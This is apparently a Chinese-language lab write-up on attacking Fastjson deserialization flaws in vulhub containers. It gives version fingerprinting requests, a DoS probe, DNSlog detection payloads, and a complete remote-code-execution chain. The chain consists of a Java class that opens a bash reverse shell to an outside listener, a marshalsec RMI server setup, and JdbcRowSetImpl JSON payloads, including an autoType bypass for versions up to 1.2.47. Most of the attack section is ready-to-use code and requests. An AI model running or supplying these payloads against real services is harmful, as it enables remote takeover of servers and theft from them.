Fastjson漏洞

判断是否使用Fastjson

本次测试以vulhub提供的版本1.2.24和1.2.45为例

  1. {报错

    1
    2
    3
    4
    5
    6
    POST / HTTP/1.1
    Host: 192.168.200.130:8090
    Content-Type: application/json
    Content-Length: 385

    \u007B

    在1.2.24版本,使用非闭合的{会导致500报错

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HTTP/1.1 500
    Content-Type: application/json
    Date: Sun, 20 Apr 2025 14:01:08 GMT
    Connection: close
    Content-Length: 161

    {
    "timestamp": 1745157668563,
    "status": 500,
    "error": "Internal Server Error",
    "message": "syntax error, expect {, actual error, pos 0",
    "path": "/"
    }

    在1.2.45版本会有Fastjson版本号

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HTTP/1.1 400
    Content-Type: application/json
    Date: Sun, 20 Apr 2025 14:02:30 GMT
    Connection: close
    Content-Length: 320

    {
    "timestamp": 1745157750630,
    "status": 400,
    "error": "Bad Request",
    "message": "JSON parse error: syntax error, expect {, actual error, pos 0, fastjson-version 1.2.45; nested exception is com.alibaba.fastjson.JSONException: syntax error, expect {, actual error, pos 0, fastjson-version 1.2.45",
    "path": "/"
    }
  2. 使用DOS模式

    • 原理:Fastjson < 1.2.60 在取不到值的时候会填充 \u001a
    • 在请求体中写入{"a":"\x,会导致触发DOS,响应时间会远长于正常响应。我这边测试正常情况下是5ms响应,在触发DOS的情况下是950ms,接近1s。
    1
    2
    3
    4
    5
    6
    POST / HTTP/1.1
    Host: 192.168.200.130:8090
    Content-Type: application/json
    Content-Length: 385

    {"a":"\x

    响应时间接近1s

  3. dnslog回显

    我这边测试的时候发现,用dnslog回显的时候,需要将数据包内字符串转换为unicode编码才可以正常回显。dnslog分为三种payload,1.2.67版本前后版本和畸形的。

    • 1.2.67版本前

      1
      {"test":{"@type":"java.net.Inet4Address","val":"dnslog"}}
      1
      2
      3
      4
      5
      6
      POST / HTTP/1.1
      Host: 192.168.200.130:8090
      Content-Type: application/json
      Content-Length: 385

      {"test":{"\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006E\u0065\u0074\u002E\u0049\u006E\u0065\u0074\u0034\u0041\u0064\u0064\u0072\u0065\u0073\u0073","\u0076\u0061\u006C":"\u0065\u0038\u0030\u0039\u0039\u0062\u0034\u0038\u0030\u0035\u0038\u0032\u0039\u0064\u0062\u0030\u002E\u0067\u006F\u0062\u0079\u0067\u006F\u002E\u006E\u0065\u0074"}}

      image-20250420222133446

    • 1.2.67版本后

      1
      2
      {"@type":"java.net.Inet4Address","val":"dnslog"}
      {"@type":"java.net.Inet6Address","val":"dnslog"}
    • 畸形

      1
      {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}

RCE方法

需要准备的内容:

  • JDK8
  • marshalsec工具(需要自行使用Maven编译mvn clean package -DskipTests)
  • IDEA(或其他Java IDE)

编写远程类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Getshell.java
import java.lang.Runtime;
import java.lang.Process;

public class Getshell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i>& /dev/tcp/192.168.200.132/2333 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译Getshell.java(javac GetShell.java)得到Getshell.class。在Getshell.class的目录下启动一个Web服务器,并启动一个RMI服务器加载远程类Getshell.class

1
2
3
python -m http.server

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.200.132:8000/#Getshell 9999

再启动netcat监听9999端口

1
nc -nvlp 2333

1.2.24版本GetShell

发送payload

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: 192.168.200.130:8090
Content-Type: application/json
Content-Length: 385

{
"a":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.132:9999/Getshell",
"autoCommit":true
}
}

可以看到netcat已成功GetShell

image-20250423204732028

<=1.2.47前版本GetShell

1.2.24后版本加入了反序列化白名单,但在1.2.48前的版本可以通过构造特殊json绕过检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST / HTTP/1.1
Host: 192.168.200.130:8090
Content-Type: application/json
Content-Length: 385

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.200.132:9999/Getshell",
"autoCommit":true
}
}

成功Getshell

image-20250423211257839

其他版本绕过和不出网详解可以参考Java中Fastjson各版本漏洞对抗史与总结-先知社区

不出网总结

主要利用BCEL字节码进行绕过。

  • Tomecat回显
  • Spring echo回显
  • TemlplatesImpl Class
  • ibatis组件

漏洞原理

fastjson解析客户端发送过来的json的时候,由于AutoType功能,fastjson会通过读取@type的内容,尝试将json反序列化成这个对象,并且会调用这个类的setter方法。可以利用这个特性,构造出一个JSON字符串,使用@type指定一个可以构造恶意利用链的类,造成远程代码执行。

内存马

奇安信攻防社区-应急响应——全类型JAVA内存马排查